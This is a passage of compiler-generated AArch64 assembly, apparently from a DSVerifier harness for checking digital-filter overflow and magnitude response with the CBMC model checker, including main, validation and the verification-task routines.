str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1659
str xzr, [sp, 1024]
.L1659:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 272]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 272]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 280]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 216]
ldr x4, [x29, 216]
orr x1, x1, x4
str x1, [x29, 216]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 208]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 200]
ldr x4, [x29, 200]
orr x1, x1, x4
str x1, [x29, 200]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 192]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1660:
cmp sp, x1
beq .L1661
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1660
.L1661:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1662
str xzr, [sp, 1024]
.L1662:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 288]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 272]
ldr x0, [x29, 288]
bl fxp_to_double_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 296]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x27, x4, 6
orr x27, x1, x27
mov x1, x2
lsl x26, x1, 6
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x25, x4, 6
orr x25, x1, x25
mov x1, x2
lsl x24, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1663:
cmp sp, x1
beq .L1664
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1663
.L1664:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1665
str xzr, [sp, 1024]
.L1665:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 304]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 304]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 312]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x23, x4, 6
orr x23, x1, x23
mov x1, x2
lsl x22, x1, 6
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x21, x4, 6
orr x21, x1, x21
mov x1, x2
lsl x20, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1666:
cmp sp, x1
beq .L1667
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1666
.L1667:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1668
str xzr, [sp, 1024]
.L1668:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 320]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 304]
ldr x0, [x29, 320]
bl fxp_to_double_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w5, [x29, 228]
ldr x4, [x29, 256]
mov w3, w0
adrp x0, ds
add x2, x0, :lo12:ds
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl resp_mag
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr w0, [x0, 24]
cmp w0, 1
bne .L1669
str wzr, [x29, 224]
str xzr, [x29, 232]
b .L1670
.L1677:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 12]
fcvt d0, s0
ldr d1, [x29, 232]
fcmpe d1, d0
bls .L1690
b .L1696
.L1690:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0]
fcvt d0, s0
fcmpe d1, d0
cset w0, ge
and w2, w0, 255
adrp x0, .LC65
add x1, x0, :lo12:.LC65
mov w0, w2
bl __DSVERIFIER_assert_msg
b .L1673
.L1696:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 16]
fcvt d0, s0
ldr d1, [x29, 232]
fcmp d1, d0
bne .L1674
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 8]
fcvt d0, s0
fcmpe d1, d0
cset w0, ls
and w2, w0, 255
adrp x0, .LC66
add x1, x0, :lo12:.LC66
mov w0, w2
bl __DSVERIFIER_assert_msg
b .L1673
.L1674:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 20]
fcvt d0, s0
ldr d1, [x29, 232]
fcmpe d1, d0
bge .L1691
b .L1673
.L1691:
ldr d1, [x29, 232]
fmov d0, 1.0e+0
fcmpe d1, d0
bls .L1692
b .L1673
.L1692:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 4]
fcvt d0, s0
fcmpe d1, d0
cset w0, ls
and w2, w0, 255
adrp x0, .LC67
add x1, x0, :lo12:.LC67
mov w0, w2
bl __DSVERIFIER_assert_msg
.L1673:
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
ldr d1, [x29, 232]
ldr d0, [x29, 240]
fadd d0, d1, d0
str d0, [x29, 232]
.L1670:
ldr d1, [x29, 232]
fmov d0, 1.0e+0
fcmpe d1, d0
bls .L1677
b .L1678
.L1669:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr w0, [x0, 24]
cmp w0, 2
bne .L1679
str wzr, [x29, 224]
str xzr, [x29, 232]
b .L1680
.L1687:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 20]
fcvt d0, s0
ldr d1, [x29, 232]
fcmpe d1, d0
bls .L1693
b .L1697
.L1693:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 4]
fcvt d0, s0
fcmpe d1, d0
cset w0, ls
and w2, w0, 255
adrp x0, .LC67
add x1, x0, :lo12:.LC67
mov w0, w2
bl __DSVERIFIER_assert_msg
b .L1683
.L1697:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 16]
fcvt d0, s0
ldr d1, [x29, 232]
fcmp d1, d0
bne .L1684
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 8]
fcvt d0, s0
fcmpe d1, d0
cset w0, ls
and w2, w0, 255
adrp x0, .LC66
add x1, x0, :lo12:.LC66
mov w0, w2
bl __DSVERIFIER_assert_msg
b .L1683
.L1684:
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0, 12]
fcvt d0, s0
ldr d1, [x29, 232]
fcmpe d1, d0
bgt .L1694
b .L1683
.L1694:
ldr d1, [x29, 232]
fmov d0, 1.0e+0
fcmpe d1, d0
bls .L1695
b .L1683
.L1695:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:filter
ldr x0, [x0, #:got_lo12:filter]
ldr s0, [x0]
fcvt d0, s0
fcmpe d1, d0
cset w0, ge
and w2, w0, 255
adrp x0, .LC65
add x1, x0, :lo12:.LC65
mov w0, w2
bl __DSVERIFIER_assert_msg
.L1683:
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
ldr d1, [x29, 232]
ldr d0, [x29, 240]
fadd d0, d1, d0
str d0, [x29, 232]
.L1680:
ldr d1, [x29, 232]
fmov d0, 1.0e+0
fcmpe d1, d0
bls .L1687
b .L1678
.L1679:
mov w0, 0
bl __DSVERIFIER_assert
.L1678:
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 328]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1689
bl __stack_chk_fail
.L1689:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 336
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE152:
.size verify_magnitude, .-verify_magnitude
.global plant_cbmc
.bss
.align 3
.type plant_cbmc, %object
.size plant_cbmc, 3224
plant_cbmc:
.zero 3224
.text
.align 2
.global main
.type main, %function
main:
.LFB153:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl initialization
bl validation
adrp x0, rounding_mode
add x0, x0, :lo12:rounding_mode
mov w1, 1
str w1, [x0]
adrp x0, verify_overflow
add x0, x0, :lo12:verify_overflow
bl call_verification_task
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE153:
.size main, .-main
.section .rodata
.align 3
.LC68:
.string "\n\n****************************************************************************"
.align 3
.LC69:
.string "* set (ds and impl) parameters to check with DSVerifier *"
.align 3
.LC70:
.string "****************************************************************************"
.text
.align 2
.global validation
.type validation, %function
validation:
.LFB154:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w0, 0
beq .L1701
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
cmp w0, 0
bne .L1702
.L1701:
adrp x0, .LC68
add x0, x0, :lo12:.LC68
bl puts
adrp x0, .LC69
add x0, x0, :lo12:.LC69
bl puts
adrp x0, .LC70
add x0, x0, :lo12:.LC70
bl puts
mov w0, 0
bl __DSVERIFIER_assert
.L1702:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
mov w1, 5
str w1, [x0]
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE154:
.size validation, .-validation
.align 2
.global call_verification_task
.type call_verification_task, %function
call_verification_task:
.LFB155:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 40]
strb wzr, [sp, 39]
str wzr, [sp, 44]
str wzr, [sp, 44]
b .L1705
.L1717:
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 302
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fcmpe d0, #0.0
bgt .L1731
b .L1706
.L1731:
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0, 8]
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 302
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fmul d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 72]
ldr d0, [sp, 72]
fcmpe d0, #0.0
bmi .L1732
b .L1739
.L1732:
ldr d0, [sp, 72]
fneg d0, d0
b .L1710
.L1739:
ldr d0, [sp, 72]
.L1710:
str d0, [sp, 72]
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0, 8]
ldr d0, [sp, 72]
fsub d0, d1, d0
str d0, [sp, 80]
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 72]
fadd d0, d1, d0
str d0, [sp, 88]
ldr d0, [sp, 72]
fcmp d0, #0.0
bne .L1711
ldrb w0, [sp, 39]
cmp w0, 0
bne .L1741
.L1711:
ldr d0, [sp, 72]
fcmp d0, #0.0
bne .L1712
ldrb w0, [sp, 39]
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
beq .L1712
mov w0, 1
strb w0, [sp, 39]
.L1712:
bl nondet_double
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
str d0, [x0, 8]
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 80]
fcmpe d1, d0
bls .L1733
b .L1713
.L1733:
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 88]
fcmpe d1, d0
bge .L1734
b .L1713
.L1734:
mov w0, 1
b .L1716
.L1713:
mov w0, 0
.L1716:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
b .L1706
.L1741:
nop
.L1706:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1705:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1717
str wzr, [sp, 44]
b .L1718
.L1730:
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 202
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fcmpe d0, #0.0
bgt .L1735
b .L1719
.L1735:
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
adrp x0, ds
add x1, x0, :lo12:ds
ldrsw x0, [sp, 44]
add x0, x0, 202
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fmul d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 48]
ldr d0, [sp, 48]
fcmpe d0, #0.0
bmi .L1736
b .L1740
.L1736:
ldr d0, [sp, 48]
fneg d0, d0
b .L1723
.L1740:
ldr d0, [sp, 48]
.L1723:
str d0, [sp, 48]
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
ldr d0, [sp, 48]
fsub d0, d1, d0
str d0, [sp, 56]
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 64]
ldr d0, [sp, 48]
fcmp d0, #0.0
bne .L1724
ldrb w0, [sp, 39]
cmp w0, 0
bne .L1742
.L1724:
ldr d0, [sp, 48]
fcmp d0, #0.0
bne .L1725
ldrb w0, [sp, 39]
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
beq .L1725
mov w0, 1
strb w0, [sp, 39]
.L1725:
bl nondet_double
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
str d0, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 56]
fcmpe d1, d0
bls .L1737
b .L1726
.L1737:
adrp x0, ds
add x0, x0, :lo12:ds
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 64]
fcmpe d1, d0
bge .L1738
b .L1726
.L1738:
mov w0, 1
b .L1729
.L1726:
mov w0, 0
.L1729:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
b .L1719
.L1742:
nop
.L1719:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1718:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1730
ldr x0, [sp, 24]
blr x0
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE155:
.size call_verification_task, .-call_verification_task
.align 2
.global call_closedloop_verification_task
.type call_closedloop_verification_task, %function
call_closedloop_verification_task:
.LFB156:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
strb wzr, [sp, 43]
str wzr, [sp, 44]
str wzr, [sp, 44]
b .L1744
.L1757:
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 302
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fcmpe d0, #0.0
bgt .L1772
b .L1780
.L1772:
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0, 8]
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 302
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fmul d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 72]
ldr d0, [sp, 72]
fcmpe d0, #0.0
bmi .L1773
b .L1781
.L1773:
ldr d0, [sp, 72]
fneg d0, d0
b .L1749
.L1781:
ldr d0, [sp, 72]
.L1749:
str d0, [sp, 72]
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0, 8]
ldr d0, [sp, 72]
fsub d0, d1, d0
str d0, [sp, 80]
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 72]
fadd d0, d1, d0
str d0, [sp, 88]
ldr d0, [sp, 72]
fcmp d0, #0.0
bne .L1750
ldrb w0, [sp, 43]
cmp w0, 0
bne .L1784
.L1750:
ldr d0, [sp, 72]
fcmp d0, #0.0
bne .L1752
ldrb w0, [sp, 43]
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
beq .L1752
mov w0, 1
strb w0, [sp, 43]
.L1752:
bl nondet_double
adrp x0, plant_cbmc
add x1, x0, :lo12:plant_cbmc
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
str d0, [x0, 8]
adrp x0, plant_cbmc
add x1, x0, :lo12:plant_cbmc
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 80]
fcmpe d1, d0
bls .L1774
b .L1753
.L1774:
adrp x0, plant_cbmc
add x1, x0, :lo12:plant_cbmc
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
ldr d1, [sp, 88]
fcmpe d1, d0
bge .L1775
b .L1753
.L1775:
mov w0, 1
b .L1756
.L1753:
mov w0, 0
.L1756:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
b .L1751
.L1780:
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
adrp x0, plant_cbmc
add x1, x0, :lo12:plant_cbmc
ldrsw x0, [sp, 44]
add x0, x0, 100
lsl x0, x0, 3
add x0, x1, x0
str d0, [x0, 8]
b .L1751
.L1784:
nop
.L1751:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1744:
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1757
str wzr, [sp, 44]
b .L1758
.L1771:
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 202
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fcmpe d0, #0.0
bgt .L1776
b .L1782
.L1776:
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldrsw x1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
adrp x0, :got:plant
ldr x1, [x0, #:got_lo12:plant]
ldrsw x0, [sp, 44]
add x0, x0, 202
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0, 8]
fmul d0, d1, d0
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 48]
ldr d0, [sp, 48]
fcmpe d0, #0.0
bmi .L1777
b .L1783
.L1777:
ldr d0, [sp, 48]
fneg d0, d0
b .L1763
.L1783:
ldr d0, [sp, 48]
.L1763:
str d0, [sp, 48]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldrsw x1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
ldr d0, [sp, 48]
fsub d0, d1, d0
str d0, [sp, 56]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 64]
ldr d0, [sp, 48]
fcmp d0, #0.0
bne .L1764
ldrb w0, [sp, 43]
cmp w0, 0
bne .L1785
.L1764:
ldr d0, [sp, 48]
fcmp d0, #0.0
bne .L1766
ldrb w0, [sp, 43]
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
beq .L1766
mov w0, 1
strb w0, [sp, 43]
.L1766:
bl nondet_double
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
ldrsw x1, [sp, 44]
str d0, [x0, x1, lsl 3]
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 56]
fcmpe d1, d0
bls .L1778
b .L1767
.L1778:
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 64]
fcmpe d1, d0
bge .L1779
b .L1767
.L1779:
mov w0, 1
b .L1770
.L1767:
mov w0, 0
.L1770:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
b .L1765
.L1782:
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldrsw x1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
ldrsw x1, [sp, 44]
str d0, [x0, x1, lsl 3]
b .L1765
.L1785:
nop
.L1765:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1758:
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
ldr w1, [sp, 44]
cmp w1, w0
blt .L1771
ldr x0, [sp, 24]
blr x0
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE156:
.size call_closedloop_verification_task, .-call_closedloop_verification_task
.global ds
.data
.align 3
.type ds, %object
.size ds, 3224
ds:
.word 0
.word 1072693248
.word 0
.word -1074790400
.word 0
.word 0
.zero 776
.word 3
.zero 4
.word 0
.word 1080090624
.word 0
.word -1066385408
.word 0
.word 1079984128
.zero 776
.word 3
.zero 4
.word 1202590843
.word 1066695393
.zero 1600
.global impl
.align 3
.type impl, %object
.size impl, 56
impl:
.word 11
.word 5
.word 0
.word 1072693248
.word 0
.word -1074790400
.zero 32
.section .rodata
.align 3
.type __PRETTY_FUNCTION__.21, %object
.size __PRETTY_FUNCTION__.21, 20
__PRETTY_FUNCTION__.21:
.string "__DSVERIFIER_assert"
.align 3
.type __PRETTY_FUNCTION__.20, %object
.size __PRETTY_FUNCTION__.20, 24
__PRETTY_FUNCTION__.20:
.string "__DSVERIFIER_assert_msg"
.align 3
.type __PRETTY_FUNCTION__.19, %object
.size __PRETTY_FUNCTION__.19, 26
__PRETTY_FUNCTION__.19:
.string "double_check_oscillations"
.align 3
.type __PRETTY_FUNCTION__.18, %object
.size __PRETTY_FUNCTION__.18, 12
__PRETTY_FUNCTION__.18:
.string "snrVariance"
.align 3
.type __PRETTY_FUNCTION__.17, %object
.size __PRETTY_FUNCTION__.17, 9
__PRETTY_FUNCTION__.17:
.string "snrPower"
.align 3
.type __PRETTY_FUNCTION__.16, %object
.size __PRETTY_FUNCTION__.16, 9
__PRETTY_FUNCTION__.16:
.string "snrPoint"
.align 3
.type __PRETTY_FUNCTION__.15, %object
.size __PRETTY_FUNCTION__.15, 13
__PRETTY_FUNCTION__.15:
.string "iirIIOutTime"
.align 3
.type __PRETTY_FUNCTION__.14, %object
.size __PRETTY_FUNCTION__.14, 14
__PRETTY_FUNCTION__.14:
.string "iirIItOutTime"
.align 3
.type __PRETTY_FUNCTION__.13, %object
.size __PRETTY_FUNCTION__.13, 21
__PRETTY_FUNCTION__.13:
.string "iirIItOutTime_double"
.align 3
.type __PRETTY_FUNCTION__.12, %object
.size __PRETTY_FUNCTION__.12, 28
__PRETTY_FUNCTION__.12:
.string "double_direct_form_1_MSP430"
.align 3
.type __PRETTY_FUNCTION__.11, %object
.size __PRETTY_FUNCTION__.11, 28
__PRETTY_FUNCTION__.11:
.string "double_direct_form_2_MSP430"
.align 3
.type __PRETTY_FUNCTION__.10, %object
.size __PRETTY_FUNCTION__.10, 39
__PRETTY_FUNCTION__.10:
.string "double_transposed_direct_form_2_MSP430"
.align 3
.type __PRETTY_FUNCTION__.9, %object
.size __PRETTY_FUNCTION__.9, 15
__PRETTY_FUNCTION__.9:
.string "initialization"
.align 3
.type __PRETTY_FUNCTION__.8, %object
.size __PRETTY_FUNCTION__.8, 31
__PRETTY_FUNCTION__.8:
.string "verify_limit_cycle_state_space"
.align 3
.type __PRETTY_FUNCTION__.7, %object
.size __PRETTY_FUNCTION__.7, 30
__PRETTY_FUNCTION__.7:
.string "verify_zero_input_limit_cycle"
.align 3
.type __PRETTY_FUNCTION__.6, %object
.size __PRETTY_FUNCTION__.6, 22
__PRETTY_FUNCTION__.6:
.string "verify_generic_timing"
.align 3
.type __PRETTY_FUNCTION__.5, %object
.size __PRETTY_FUNCTION__.5, 17
__PRETTY_FUNCTION__.5:
.string "verify_stability"
.align 3
.type __PRETTY_FUNCTION__.4, %object
.size __PRETTY_FUNCTION__.4, 25
__PRETTY_FUNCTION__.4:
.string "verify_error_state_space"
.align 3
.type __PRETTY_FUNCTION__.3, %object
.size __PRETTY_FUNCTION__.3, 26
__PRETTY_FUNCTION__.3:
.string "verify_safety_state_space"
.align 3
.type __PRETTY_FUNCTION__.2, %object
.size __PRETTY_FUNCTION__.2, 23
__PRETTY_FUNCTION__.2:
.string "verify_controllability"
.align 3
.type __PRETTY_FUNCTION__.1, %object
.size __PRETTY_FUNCTION__.1, 30
__PRETTY_FUNCTION__.1:
.string "verify_controllability_double"
.align 3
